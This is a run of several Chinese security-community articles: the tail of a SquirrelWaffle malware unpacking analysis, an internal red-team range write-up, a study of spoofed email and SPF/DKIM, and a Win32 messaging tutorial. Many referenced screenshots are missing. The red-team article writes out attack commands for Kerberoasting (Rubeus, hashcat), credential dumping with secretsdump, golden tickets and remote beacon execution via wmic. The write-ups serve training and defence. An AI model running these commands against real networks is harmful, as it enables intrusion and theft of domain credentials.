然后来到kernel32.dll的VirtualAlloc函数打下断点，虽然提示地址无法执行，我们仍需要设下断点
等待一会儿后就会命中断点了，此时我们根据msdn观察栈数据
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
然后我们直接执行到retn。
第一，我们需要在VirtualAlloc函数入口打下断点，运行并hit到断点后，Return 返回到我们的代码段。直到我们看到如下几个特殊点：
1. call to ebx + 2113E4 ，是用于动态调用 _VirtualAlloc**函数的，_
2. rep movsb -用于把shellcode写入到刚刚申请的空间
3. jmp eax – 跳转并执行shellcode
因为shellcode存储在eax寄存器中，我们使用follow in dump即可找到对应的shellcode，是一个以字节组E8 00 00 00
起始的经典trick。
同时，根据习惯，我们可以猜想完整的unpack应该在shellcode的附近。我们运行两次直到我们第三次命中断点，此次生成了一大段的空白段供shellcode编写
我们在此处第一个字节打下硬件断点并运行
第一次运行只生成了首字节，第二次如下
第三次如下
而实际上操作该地址的是以下几个汇编指令
通过x32 dbg的图像功能显示如下，我们在一个小循环中找到一个带有一些经典的操作码，例如旋转右侧和排除或（ROR和XOR OPCODE）。
在这个特殊的循环中，加密主体在过去两年的恶意样本中同样类似出现过，例如：Hancitor，Zloader，SquirrelWaffle，Ursnif
通过在leave opcode上设置断点，我们可以使循环结束，而一旦循环结束，我们就可以看到ASCII字符M8Z表明这是一个APLIB压缩后的代码。
那么既然我们直到了这是一个APLIB实现的压缩，我们现在就是要寻找一个解压缩的代码。
1. 首先删除硬件断点
2. 在APLIB 压缩的headers区域设置硬件访问断点
3. 运行
实际上是把ESI的数据解密后移动到了EDI地址处（这里的地址发生变化是因为中间发生失误运行了程序导致我重新跑了一次，地址变化了（0x110001—》
0x190000））
我们在retn处打下断点并运行后访问0x000117041地址处即可找到unack后的文件。此时我们使用processHacker进行提取
首先dump出0x110000处的数据
然后提取处0x7041物理地址处的数据即可。
然后这个文件是一个完整的文件，我们可以直接看到导入函数表和代码数据了。
## 收尾
这也是一个比较好玩的样本，本篇文章的分析仅通过以下文章学习分析和自己总结得出，不得不感叹技术的力量，感谢观看！
<https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9> | 社区文章 |
## 前言
据上次部门内组织的对抗赛-[记一次内部红蓝对抗](https://xz.aliyun.com/t/10223
"记一次内部红蓝对抗")已经过去两届了，第四次的时候导师将靶场的网络拓扑重新设计了下，当时是以防守队的身份参与。这次有幸以靶场环境设计的角色参与，在之前原有网络拓扑的基础下重新部署了漏洞环境，便有了本文。
背景介绍：目标是拿到企业www.xxx.com的《上市商业计划书.docx》，通过OPENVPN访问。
特别提出的得分规则修改，权限的得分必须有WEBSHELL/交互式SHELL，只有一个漏洞回显不给分，更加偏向考察 **`漏洞利用`** 而非漏洞验证。
> **Author: 0ne**
## DMZ区
DMZ区大概有9台机器，3台入口点和官网分别用防火墙映射出去模拟互联网，4个页面分别对应xxx.com的四个子域名。
### Ngnix解析漏洞
在网站目录下写了个upload.html页面，考察路径扫描，上传页面是做了白名单校验，本来是考察在有WAF情况下怎么判断黑白名单，如果一开始就上传webshell，包被阻断就不好判断是程序不允许还是WAF拦截了，会浪费些许时间。但是在实际的过程中考虑难度就未启用WAF。细心的同学可能看见Ngnix版本信息就会联想到解析漏洞，有经验的同学可能看见PHP+白名单可能也会第一时间联想到解析漏洞。
**`未预期的解?`** ：上传的php代码是在[菜鸟教程](https://www.runoob.com/php/php-file-upload.html
"菜鸟教程")找的。笔者测试的时候，发现"白名单可以绕过"，win环境+文件上传后未重命名。其中<>?/^*:|"等符号不允许在文件名中出现。所以有了：
1.php:.png能够落地1.php，但是文件内容为0kb，绕不过去。哈哈哈嗝，等一个师傅能落地webshell **`QAQ`** 。
### PHPStudy后门
常规RCE漏洞+win环境+杀软的考察，留了php探针页面。一些常用的下载执行的命令无法使用会被拦截，绕过可自行测试[LOLBAS](https://lolbas-project.github.io/
"LOLBAS")。其实这个漏洞本质还是php代码执行，可以直接用`file_put_contents()`写入一句话：
很多同学还是用的system('echo/powershell/certutil')写入，杀软不给力PHP_CGI.exe调powershll/certutil写文件或是解码，进程链未拦截，初衷还是希望大家能代码执行的时候不调用命令执行。
### Fastjson漏洞
> 本来想部署的靶场是shiro JRMP链+win+杀软的，奈何不懂java，鼓捣半天没弄出来
原意是想让大家修改yso实现代码执行打shiro JRMP实现内存马/下载执行【java实现】/静态资源写webshell，但卒 **`QAQ`** 。
考察JNDI注入+win环境+杀软上线问题，比较通用的方法就是内存马/下载执行【java实现】/静态资源写webshell，需要自己动手写恶意类实现上述功能，以静态资源为例，如何拿到web路径：
其中一只攻击队同学是echo写入再certutil解码：
如果使用JAVA代码实现恶意EXE的下载执行上线，建议先判断`System.getProperty("os.name")`和`System.getProperty("os.arch")`。
git有很多优秀的JNDI利用工具可以使用，但是初衷还是希望自己动手实现上述场景定制的恶意类，一个包就打成功，攻击流量不要太多。
## 办公网
办公网大概有7台主机通过DMZ区redis打过来，其中SMB泄露的账号密码直接用impacket包横向移动的脚本利用。同事帮忙搭了log4j漏洞的环境和完善了办公网的路径分，log4j的利用和fastjson那台利用手法相似。
办公网跨域还是沿用了上次的保存的RDP连接记录。
需要提及的就是从域外如何发现域，除了网络侧netbios扫描或是88&389等常用端口的扫描【需要知道网段，很可能触发大量流量】，若工作组主机DNS服务器是域控时，可nslookup
域名根据返回DNS服务器名称判断是否有域，主机侧还可以收集的信息就是`cmdkey /list |findstr
Domain`和mimikatz收集的凭据。
shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
RDP密码破解[参考](https://xz.aliyun.com/t/9831 "参考")。
## 域环境
域环境有8台主机，靶标在corp1.com域内，需要拿下corp1域管权限才能登录。
域内部分主机不出网，以下方便复现给VPSIP开了出网白名单，实际解决可利用
**`beacon_bind_pipe/beacon_bind_tcp/pivot listener`**
利用RDP破解的dev\user02登录C06，有applocker，限制了执行的程序，于是dll上线，白+黑参考[LOLBAS](https://lolbas-project.github.io/ "LOLBAS")。
dev01.dev.corp1.com-10.5.12.248，起socks4A代理域外sAMAccountName
spoofing直接打，利用成功会生成一张域管访问dev01的ST，PTT利用`secretsdump.py`获取krbtgt：
生成黄金票据：
> 域内横向移动常见方法：SC, AT/SCHTASKS, PSEXEC, WMI, WINRM, DCOM.
上线dev01，CS自带的remote-exec wmi报错，psexec执行上线了但是又掉了，不稳定，还是手敲：
shell wmic /node:dev01 process call create "C:\xx\beacon.exe"
在DEV01-beacon运行mimikatz获取凭证发现corp1\jeff用户，steal
jeff用户的token，再Kerberoasting，发现报错：
只好pth，模拟corp1\jeff权限:
在corp1域Kerberoasting发现SPNuser->user_S02:
execute-assembly C:\Users\Rubeus.exe kerberoast /outfile:C:\Users\jeff\tgs.txt
hashcat -m 13100 -a 0 --force tgs.txt /usr/share/wordlists/FastPwds.txt
在dev01-beacon以corp1\user_S02派生会话，发现失败，不能登录，于是在C06上派生会话，以corp1\user_S02进入corp1域内:
发现corp1\user_S02是S02的管理员：
和上线dev01一样，上线S02：
发现S02上跑着corp1域管的进程：
窃取token，corp1域管权限，成功拿下靶标S03，窃取目标文件：
## 题外话
溯源反制是可遇不可求的事，通过攻击流量找到人或是反制C2通常是攻击的VPS关联了自己的域名信息，或是有自己ID的payload，或是踩了蜜罐。反制可能是攻击者在不恰当的目录下开了http服务。
上次攻防对抗的时候用了UNC获取攻击者ID，还比较好使：
利用desktop.ini获取访问诱饵文件的ntlm请求，做好后压缩为www.zip，等人下载解压。
因为在/root目录下误启用python-http服务导致的反制： | 社区文章 |
# 【技术分享】一封伪造邮件引发的研究
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
作者：[ForrestX386](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00. 前言**
我用swaks
发送一封以我们公司CTO为显示发件人（腾讯企业邮箱）的伪造邮件给我的一个同事，邮件的内容就是让这位同事去CTO的办公司一趟，没想到这位同事真的去了，然后一脸懵逼的回来了
恶作剧算是完了，但是这让我开始研究伪造邮件是为什么产生的，腾讯企业邮为什么没有拦截
**0x01. 关于伪造邮件的一些概念**
1） 邮件服务商之间转发邮件是不需要认证的，也就是说MTA 到MTA之间转发邮件是不需要认证的，这是SMTP协议本身定义的。
所以协议钓鱼邮件就可以伪称来自某某MTA发送钓鱼邮件
2) 互联网上有一些邮件域名没有配置SPF记录 或者SPF记录值设置不当，就会被用作伪造邮件的mail_from 后缀域名
比如xxx.com
3）
我们平常必须登录才能发送邮件（一般用的发邮件工具称作MUA，比如foxmail等），这是因为邮件服务商人为要求的，这不是SMTP协议本身要求的，SMTP协议本身是不需要身份认证的
4） mail_from 和from 的区别
mail_from： 是信封上的发件人，由[前缀@域名]组成，是实际发件人
from： 信封内容里的发件人。 也就是我们平时
如果mail_from （实际发件人） 和 from （宣称的发件人） 不一致，则收到的邮件会显示 本邮件由<实际发件人>代发，以提醒收件人两者的不同
有的ESP（邮件服务商）并不会要求mail_from 和from完全一致，而只是要求两者的域名相同（比如QQ 邮箱 和Gmail邮箱）
下面是Gmail邮箱收到的一封<码农周刊>发送的邮件，mail_from 和from 不完全一致， 但没有提示代发
是调用sendCloud 的API 进行发件的，由于SendCloud 对mail_from
的前缀(@前面的)用的是随机字符串，所以遇到严苛的ESP（mail_from 和from 必须完全一致才不显示代发，比如网易邮箱）， 那就爱莫能助了
5) 一个腾讯企业邮特殊的例子
这是一封腾讯企业邮的收到的伪造邮件（mail_from 和from不一致）， mail_from 是[email protected] from是[email protected]
mail_from 和from 的后缀中就cn 和com 不同，也就是说只有顶级域名不同，其他相同
这样腾讯企业有竟然没有代发提示、安全提示，正常的出现在了我的收件箱中， 不管mail_from 中后缀xxx.com 的SPF是不是OK，
也不管xxx.com是不是存在
腾讯企业邮支持将邮件原始内容导出成eml文件（可用文本编辑器编辑、查看）
而另一封我伪造的一封邮件实际发件人是 [email protected], 显示发件人是[email protected] ，收件人是 [email protected]
显然mail_from 和from不一致，这里腾讯企业邮是会提示你代发
比对两个伪造邮件，我据此反馈给了腾讯企业邮开发组，我觉得是腾讯企业邮的BUG，截止到本篇文章发表时一周前，腾讯企业邮给我的回复是：邮件相关策略有问题，还在优化中
6）reply-to： 信件回复的收件人， 用户直接回复邮件时，reply-to就是默认收件人。 如果用户不指定它, from就是默认收件人
7) mail_to 和 to的区别
mail_to 是实际收件人（信封上的收件人）， 而 to 是显示收件人（即信封内容中的收件人）
to 也是可以伪造的（to 支持别名显示，别名也是可以伪造的），类似于from
这是一封伪造邮件，to 也被伪造了
**0x02. 关于防止垃圾邮件的两种技术**
1、SPF
关于SPF的概念：
[SPF维基百科](https://zh.wikipedia.org/wiki/%E5%8F%91%E4%BB%B6%E4%BA%BA%E7%AD%96%E7%95%A5%E6%A1%86%E6%9E%B6\))
1） SPF的配置
SPF 其实就是一条DNS的TXT的记录，其记录值就是 SPF的内容 比如：v=spf1 include:spf.mail.qq.com -all”
SPF 需要在域名解析服务器上配置，比如说是国内常用的DNSPOD配置如下：
比如说[email protected] 这封邮件的SPF 记录怎么设置，那么需要在二级域名xxx.com下增加一个主机记录为@, 记录类型为TXT，
记录值为v=spf1 include:spf.mail.qq.com ~all (记录值格式是这样，具体值可能有所不同)
如果收到的邮件格式是这样的： [email protected] ，那么SPF 记录需要这样设置
在二级域名vpgame.net配置如下：
主机记录为mail ，记录类型为TXT，记录值为：v=spf1 include:spf.sendcloud.org -all
2）查询邮件域的SPF:
windows :
nslookup -qt=txt xxx.com
Linux：
dig -t txt xxx.com
2、DKIM
国外用的比较多，国内不多，比如腾讯邮箱默认就不支持这个
下图是一封腾讯企业邮发送到Gmail邮箱的邮件部分原始邮件信息：
可以看到并没有DKIM签名
而Gmail默认是有DKIM签名的
下图是一封Gmail邮箱发送到腾讯企业的邮件部分原始邮件信息：
可以看到是有DKIM签名的。
1）关于DKIM的概念
DKIM全称叫”Domain Key Identified Mail”，是yahoo的domainkey技术跟cisco的identified
mail合起来的产物，有标准rfc4871、
rfc5762,它的目的主要用来保证邮件的完整性，避免钓鱼。与SPF一样也做Sender
authentication，但DKIM做的比SPF更复杂，DKIM会对邮件头
及正文进行签名，没有私钥下，邮件被假冒或篡改后，就会与邮件头签名不一致，从而防止这样的情况。
DKIM签名是先对内容（BODY）部分HASH，然后把这个BODY
HASH放到HEADER里面，再对头部做签名。头部也不是所有字段都要签名，只有一些常用的字段，或者比较有意义的。像Received、Return-path、Bcc、Resent-bcc、DKIM-Signature、Comments、Keywords这样的字段一般不签名，FROM则是必须被签名(rfc4871 5.5 Recommended
Signature Content), 最后在邮件头中增加一个DKIM-Signature头用于记录签名信息。
接收方则通过DNS查询得到公开密钥后进行验证， 验证不通过，则认为是垃圾邮件，所以DKIM不仅仅可以防止垃圾邮件，还可以防止邮件内容被篡改
简单来说，DKIM（DomainKeys Identified Mail）是一种电子邮件的验证技术，使用密码学的基础提供了签名与验证的功能。
一般来说，发送方会在电子邮件的标头插入DKIM-Signature及电子签名信息。而接收方则通过DNS查询得到公开密钥后进行验证。
2）邮件域的DKIM配置和查询
邮件接收方通过DNS查询得到公开密钥后进行验证所以说需要在DNS域名解析上中加上一个TXT的记录，用来记录DKIM的公钥信息， 以DNSPOD为例
，类似SPF记录
以[email protected]为例
在主机记录中写入 mail._domainkey.mail
(这里的第一个mail为DKIM中域名的selector，可以修改为不同的值，一个域名可以有多个selector,这样不同的Email
server可以有不同的key), 记录类型为TXT， 记录值为：
v=DKIM1;k=rsa;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmMPX+sFtBSSBaQENMXIY0kMoU xwpjsktTkjlsrdErh8WKSdRqNEZCE7e5/i9qT/rot5WikkyLoO9nWactl5u5rXli Nqy4eGq3aSQAo0J1/prrL9ZP/NWVo2j6lcSgkMgVCdw7gSIxObfvmp6PIb4edNzP nRBnpjey8xWFTDBzvQIDAQAB
格式类似这样，可能具体的公钥信息不一致， 其中v表示DKIM的版本; k表示非对称的加密算法; p表示base64之后的公钥信息
如何查询邮件域的DKIM 公钥：
windows:
nslookup -qt=txt mail._domainkey.mail.vpgame.net
第一个mail 是上面所说的邮件域的selector，_domainkey 是固定格式(DKIM就是基于domainkeys的技术发展而来)，
mail.vpgame.net 是邮件域
Linux:
dig -t txt mail._domainkey.mail.vpgame.net
补充一个gmail的：
3）DKIM签名信息分析
这是一封Gmail发给我的腾讯企业邮箱的邮件：
我们看一下DKIM-Signature的内容：
其中，v表示DKIM的版本，
a=rsa-sha1，表示算法(algorithm)。有rsa-sha1和rsa-sha256两种，
c=relaxed/relaxed，表示标准化方法(Canonicalization)，头部和内容都用的relaxed方法。还可以用simple，表示不能有任何改动，包括空格.
d=gmail.com，发送者的域名， 也就是Gmail收到邮件信息中的所谓的”署名域”，
这个”署名域”需要在邮件服务器的DKIM设置中配置的，可以和邮件域(比如[email protected]
@后面的即是邮件域)不一样（一般都保持一样）
s=20161025，表示域名的selector，通过这个selector，可以允许一个域名有多个public
key，这样不同的server可以有不同的key。
h=…，是header list，表示对HEADER中有哪些字段签名。
bh=…，是body hash。也就是内容的hash。
b=…，是header的签名。也就是把h=那个里面所有的字段及其值都取出来，外加DKIM-signature这个头(除了b=这个值，因为还不存在)，一起hash一下，然后用rsa加密。
**0x03. 关于国内有名的sendCloud配置注意事项**
1、发件域和显示发件人(from)的邮件域（@后面的部分） 不一致导致的代发提示
ESP（邮件服务商）在收到邮件的时候都会检查mail_from 和from 的邮件域(@后面的部分)是否一致，不一致则提示邮件代发
gmail也是这样处理
如果你在sendCloud上配置的发件域和邮件显示的发件人的邮件域不一致，则会在gmail邮箱中显示邮件代发
实际发件域是mail.vpgame.net，而显示的发件人的邮件域是mail.vpgame.cn ，两者不一致，Gmail提示代发
下图是一封码农周刊发送到我Gmail邮箱中的一封邮件， 没有提示代发，因为实际发件人的邮件域是和显示发件人的邮件域是一致的
2、使用非加密端口发送代发邮件
比如上面的mail.vpgame.net 代发的一封邮件就是被显示没有加密，可能是直接调用sendCloud的未加密端口发送的
这里显示sendCloud.org未加密这封邮件， 因为gmail是从sendCloud 收到这封邮件的
**0x04. 关于使用foxmail代发邮件**
1\. foxmail 可以配置显示其他账户（由本邮件代发显示邮件账号）
2\. 用上图的配置给自己（上图的实际账号）发封邮件
这里会显示代发
3\. 如果是微信收到邮件呢(腾讯企业邮箱绑定微信后，微信可收信)
不注意看，还真以为是显示的发件人发的邮件呢
4\. 给Gmail 也发一封
Gmail 也没提示代发
但是我们查看Gmail的原始邮件，可以看到此邮件不是显示发件人发的
5\. 我们来看回复此邮件能不能看到猫腻
Gmail的回复, 回复给了显示发件人
fomail的回复，也是回复给了显示收件人
foxmail的快速回复, 回复给了实际发件人
注： 如果是回复全部，则包含实际发件人
**0x05. 一些识别伪造邮件的小技巧**
1、实际发件人与显示发件人不一致
这时候就需要小心了，确认邮件真的是由合法的第三方代发的，比如有名的邮件代发服务商sendCloud，如果不是，一般都是伪造邮件
如何知道邮件的实际发件人？
一般是查看邮件的原始内容，不过还有一个小技巧，就是在收到邮件的时候，邮箱提示信息中显示的就是实际发件人
当然也可以尝试回复一下邮件，这样真实发件人就知道了，对比一下和显示的发件人是否一致，不一致就要小心了
2、一般正常的发件服务器都会配置SPF，有的还会配置DKIM，如果收到的邮件的发件人的邮件域没有配置SPF，则有可能是伪造邮件
3、一般邮件服务商都会有相应的反垃圾邮件的机制，对于有安全提示的邮件要小心，不要轻易相信，不要轻易点击其中图片、链接、附件
如上图，都是伪造邮件，而且显示是收件人也是伪造的
**0x06. 补充**
腾讯企业邮发送的邮件默认是加密的
一般邮件body 内容是base64-utf8 编码后的结果，可以使用k8-web 编码转换工具解码或者编码
邮件中的邮件头的from 或者 to 部分都支持中文别名显示（subject也支持中文），这些就需要写代码将中文内容编码一下，
以下是实现代码（python）
#!/usr/bin/env python
# -*- coding:utf8 -*-
import sys
from email.header import make_header
if __name__ == '__main__':
reload(sys)
sys.setdefaultencoding('utf8')
content = repr('访问下邮件中的链接，看看不能访问')
print make_header([('xe8xaexbfxe9x97xaexe4xb8x8bxe9x82xaexe4xbbxb6xe4xb8xadxe7x9ax84xe9x93xbexe6x8exa5xefxbcx8cxe7x9cx8bxe7x9cx8bxe4xb8x8dxe8x83xbdxe8xaexbfxe9x97xae', 'utf-8')]).encode()
比如说自己构造邮件原始内容（不是调用某某库哦）的时候想把subject 内容修改一下，则需要先用repr
将中文的16进制编码内容传入make_header的参数中，这种得到的结果就是邮件subject（中文）原始内容
这里要注意一下，不能直接将content传入make_header中，否则会出错，而是先打印repr(‘subject中文内容’)值，然后将其拷贝至make_header中 | 社区文章 |
# 深入理解win32（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Win32是指Microsoft Windows操作系统的32位环境，与Win64
都为Windows常见环境。如今的Win32操作系统可以一边听音乐，一边编程，一边打印文档。Win32操作系统是一个典型的多线程操作系统。
从单线程到多进程是操作系统发展的一种必然趋势，当年的DOS系统属于单任务操作系统，最优秀的程序员也只能通过驻留内存的方式实现所谓的”多任务”，而如今的Win32操作系统却可以一边听音乐，一边编程，一边打印文档。
理解多线程及其同步、互斥等通信方式是理解现代操作系统的关键一环，当我们精通了Win32多线程程序设计后，理解和学习其它操作系统的多任务控制也非常容易。许多程序员从来没有学习过嵌入式系统领域著名的操作系统VxWorks，但是立马就能在上面做开发，大概要归功于平时在Win32多线程上下的功夫。
因此，学习Win32多线程不仅对理解Win32本身有重要意义，而且对学习和领会其它操作系统也有触类旁通的作用。
今天带来的是win32里面最基础的一些知识，事件、消息以及消息处理函数
## 事件与消息
事件：Windows中的事件是一个“动作”，这个动作可能是用户操作应用程序产生的，也可能是Windows自己产生的
消息：用来描述动作，具体描述动作到底做了什么事。例如：这个动作在什么时候产生、哪个应用产生的、在什么位置产生的等等
消息本身是作为一个记录传递给应用程序的，这个记录（一般在 C/C++/汇编
中称为“结构体”）中包含了消息的类型以及其他信息。例如，对单击鼠标所产生的消息来说，这个记录（结构体）中包含了单击鼠标的消息号（WM_LBUTTONDOWN）、单击鼠标时的坐标(由X,Y值连接而成的一个32位整数)。
消息对应的结构体为MSG，具体结构如下
### MSG结构
typedef struct tagMSG {
HWND hwnd;
UINT message;
WPARAM wParam;
LPARAM lParam;
DWORD time;
POINT pt;
} MSG, *PMSG;
> * **hwnd**
>
>
> Handle to the window whose window procedure receives the message.
>
> hwnd表示消息所属的窗口，这里可以理解为一个唯一的标识，一个消息一般与某个窗口相关联，在windows中HWND类型变量通常来表示窗口。
>
> * **message**
>
>
> Specifies the message identifier. Applications can only use the low word;
> the high word is reserved by the system.
>
> windows中消息是由一个数值进行表示的，但是数值不方便记忆，所以windows将消息对应的数值定义为WM_XXX宏（WM == Windows
> Message）
>
> 鼠标左键按下 WM_LBUTTONDOWN 键盘按下 WM_KEYDOWN，message就是消息类型
>
> * **wParam**
>
>
> Specifies additional information about the message. The exact meaning
> depends on the value of the **message** member.
>
> * **lParam**
>
>
> Specifies additional information about the message. The exact meaning
> depends on the value of the **message** member.
>
> 32位消息的特定附加信息,具体表示什么取决于message
>
> * **time**
>
>
> Specifies the time at which the message was posted.
>
> 消息创建时的时间
>
> * **pt**
>
>
> Specifies the cursor position, in screen coordinates, when the message was
> posted.
>
> 记录鼠标所在分辨率的坐标
## 系统消息队列与应用消息队列
当事件传入过后封装为MSG形成消息，因为这时候所有队列都是一起的，这里的结构跟之前C++提到的`vector`类似，但是这里是先进先出，即不是封闭的。当消息传入之后，windows首先会对这些消息通过hwnd进行分类，以区分不同应用的不同消息。
这里在进行应用消息队列的区分后，windows会从这个队列中取出消息，注意这里应用程序随时会进行更改，所以这里windows做的是一个取消息的循环，即从消息队列中一直取消息出来。再取消息之后，会进行消息的判断，这个判断就是判断消息所进行的操作是不是我这个应用程序所设置的一些操作（例如一个消息框，我在其他空白区域点击的时候都不会进行操作，当我点击发送这个按钮的时候，windows才会执行相应的操作），如果跟应用程序所设置的操作相同，就调用应用程序的相关函数，如果不是的话，就交付给windows进行处理。
这里消息的整个过程可以总结如下；
> 事件 -> MSG -> 系统消息队列 -> 应用消息队列 -> 循环取出消息 ->处理消息
## 第一个图形界面程序
`WNDCLASS`用于创建窗口，看一下MSDN的解释
> The **WNDCLASS** structure contains the window class attributes that are
> registered by the [**RegisterClass**](winclass_70s3.htm) function.
这里说了`WNDCLASS`这个结构体包含了许多windows里面的类，需要用`RegisterClass`这个函数进行注册
看一下`WNDCLASS`这个结构体
### WNDCLASS结构
typedef struct _WNDCLASS {
UINT style;
WNDPROC lpfnWndProc; //窗口的消息处理函数
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance; //窗口属于的应用程序
HICON hIcon; //窗口图片标识
HCURSOR hCursor; //鼠标形状
HBRUSH hbrBackground; //窗口背景色
LPCTSTR lpszMenuName; //菜单名字
LPCTSTR lpszClassName; //结构体名字
} WNDCLASS, *PWNDCLASS;
首先定义一下结构体里面的成员，这里其他三个成员都已经定义好，但是这个`WindowProc`即窗口过程函数有点特殊
`WindowProc`的结构如下
> The **WindowProc** function is an application-defined function that
> processes messages sent to a window. The **WNDPROC** type defines a pointer
> to this callback function. **WindowProc** is a placeholder for the
> application-defined function name.
LRESULT CALLBACK WindowProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
);
然后写一个对应结构的`WindowProc`，代码如下：
{
switch(uMsg)
{
//窗口消息
case WM_CREATE:
{
DbgPrintf("WM_CREATE %d %d\n",wParam,lParam);
CREATESTRUCT* createst = (CREATESTRUCT*)lParam;
DbgPrintf("CREATESTRUCT %s\n",createst->lpszClass);
return 0;
}
case WM_MOVE:
{
DbgPrintf("WM_MOVE %d %d\n",wParam,lParam);
POINTS points = MAKEPOINTS(lParam);
DbgPrintf("X Y %d %d\n",points.x,points.y);
return 0;
}
case WM_SIZE:
{
DbgPrintf("WM_SIZE %d %d\n",wParam,lParam);
int newWidth = (int)(short) LOWORD(lParam);
int newHeight = (int)(short) HIWORD(lParam);
DbgPrintf("WM_SIZE %d %d\n",newWidth,newHeight);
return 0;
}
case WM_DESTROY:
{
DbgPrintf("WM_DESTROY %d %d\n",wParam,lParam);
PostQuitMessage(0);
return 0;
}
//键盘消息
case WM_KEYUP:
{
DbgPrintf("WM_KEYUP %d %d\n",wParam,lParam);
return 0;
}
case WM_KEYDOWN:
{
DbgPrintf("WM_KEYDOWN %d %d\n",wParam,lParam);
return 0;
}
//鼠标消息
case WM_LBUTTONDOWN:
{
DbgPrintf("WM_LBUTTONDOWN %d %d\n",wParam,lParam);
POINTS points = MAKEPOINTS(lParam);
DbgPrintf("WM_LBUTTONDOWN %d %d\n",points.x,points.y);
return 0;
}
}
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
然后创建窗口，这里注意一下类名，windows系统自带了一些类名，如使用`button`的话就会生成一个按钮，而我们不想使用windows自带的窗口，所以在这里类名就需要填自己创建的
// 创建窗口
HWND hwnd = CreateWindow(
className, //类名
TEXT("我的第一个窗口"), //窗口标题
WS_OVERLAPPEDWINDOW, //窗口外观样式
10, //相对于父窗口的X坐标
10, //相对于父窗口的Y坐标
600, //窗口的宽度
300, //窗口的高度
NULL, //父窗口句柄，为NULL
NULL, //菜单句柄，为NULL
hInstance, //当前应用程序的句柄
NULL); //附加数据一般为NULL
if(hwnd == NULL) //是否创建成功
return 0;
这里直接编译运行没有报错但是没有窗口运行起来，回头找一下原因
上面提到过`WNDCLASS`这个结构体是需要定义很多个成员的，但是并不是每个成员都必须要定义，所以在之前只能定义了几个成员
再往下走到`RegisterClass`这个函数，到msdn看一下定义
> RegisterClass
>
> The **RegisterClass** function registers a window class for subsequent use
> in calls to the [**CreateWindow**](windows_33jr.htm) or
> [**CreateWindowEx**](windows_1w6w.htm) function.
>
> **Note** The **RegisterClass** function has been superseded by the
> [**RegisterClassEx**](winclass_0wc8.htm) function. You can still use
> **RegisterClass** , however, if you do not need to set the class small icon.
ATOM RegisterClass(
CONST WNDCLASS *lpWndClass // class data
);
> Parameters
>
> * _lpWndClass_
>
>
> [in] Pointer to a [**WNDCLASS**](winclass_8yk2.htm) structure. You must fill
> the structure with the appropriate class attributes before passing it to the
> function.
注意看一下这个下面的定义，`You must fill the structure with the appropriate class
attributes before passing it to the
function.`，也就是说无论用不用`WNDCLASS`这个结构体的成员，都要给成员附上值
那么这里直接给`WNDCLASS`定义成0即可
这里查看一下`WNDCLASS wndclass;`和`WNDCLASS wndclass = {0};`的区别，`WNDCLASS
wndclass`相当于直接创建了一个结构体`wndclass`，并没有对结构体中的成员进行任何的操作，所以没有压栈出栈的操作，自然也没有反汇编；而`WNDCLASS
wndclass = {0}`相当于给结构体里面的每个成员都赋初始值为0，所以有反汇编出现
修改之后这里就可以弹出窗口
这里点击缩小、放大、关闭都能够有对应的操作，但是这里我们并没有写这些函数，是因为我们使用了一个windows的回调函数，我们之前在分析的时候提到过一些不是应用程序需要的操作就不会调用应用程序自己的函数，而会交给操作系统去处理，所以这里就必须要返回一个`DefWindowsProc()`交付给windows处理
另外一个点`lpfnWndProc`并不是调用了`WindowsProc`这个函数，而是通过一个指针指向了`WindowsProc`这个函数，等待着windows调用，这就称为回调函数
这里我们在f5运行程序之后，点击关闭我们生成的这个程序之后，发现程序并没有退出，到任务管理器里面看这个进程还在
每一个消息都有一个对应的编号，来到回调函数f12跟进去查看
## windows消息范围说明
0 ～ WM_USER – 1系统消息
WM_USER ～ 0x7FFF自定义窗口类整数消息
WM_APP ～ 0xBFFF应用程序自定义消息
0xC000 ～ 0xFFFF应用程序字符串消息
0xFFFF以后 系统应用保留
## WindowProc结构探究
我们知道`WindowProc`的结构如下所示
LRESULT CALLBACK WindowProc(
HWND hwnd, // handle to window
UINT uMsg, // WM_CREATE
WPARAM wParam, // not used
LPARAM lParam // creation data (LPCREATESTRUCT)
);
探究以下`WM_CREATE`函数中`wParam`和`lParam`的用法
> * _wParam_ This parameter is not used.
> * _lParam_ Pointer to a [**CREATESTRUCT**](windows_06lu.htm) structure
> that contains information about the window being created.
>
这里可以看到`wParam`这个参数是不使用的，`lParam`这个参数指向的是一个结构体`CREATESTRUCT`，这里继续探究`CREATESTRUCT`这个结构体
创建一个结构体指针看一下结构体里面有哪些成员
打印一下`lpszclass`看一下
再探究一个函数`WM_MOVE`，首先打印它的id，可以看到这里id为3
继续msdn查看`WM_MOVE`的结构中的`wParam`和`lParam`
> * _wParam_
>
>
> This parameter is not used.
>
> * _lParam_
>
>
> Specifies the x and y coordinates of the upper-left corner of the client
> area of the window. The low-order word contains the x-coordinate while the
> high-order word contains the y coordinate.
这里同样`wParam`是不使用的，`lParam`表示窗口的坐标，并且低位表示x坐标，高位表示y坐标
这里看到msdn已经给我们给出了使用的方法，这里直接调用一下
写一个输出函数
继续探究`WM_SIZE`，这里跟之前不一样的是`wParam`在`WM_SIZE`里面是有意义的，这里先不细说，还是先看`lParam`属性
> * _lParam_ The low-order word of _lParam_ specifies the new width of the
> client area.The high-order word of _lParam_ specifies the new height of the
> client area.
>
还是熟悉的配方，只不过这里是低位为宽，高位为高，打印一下`wParam`和`lParam`属性
这里发现`wParam`属性始终为0，这里回到定义的地方看一下，当窗口最大化、最小化操作时这个值才会变化
这里再分别把`lParam`属性的低位和高位分别打印出来如下图所示 | 社区文章 |
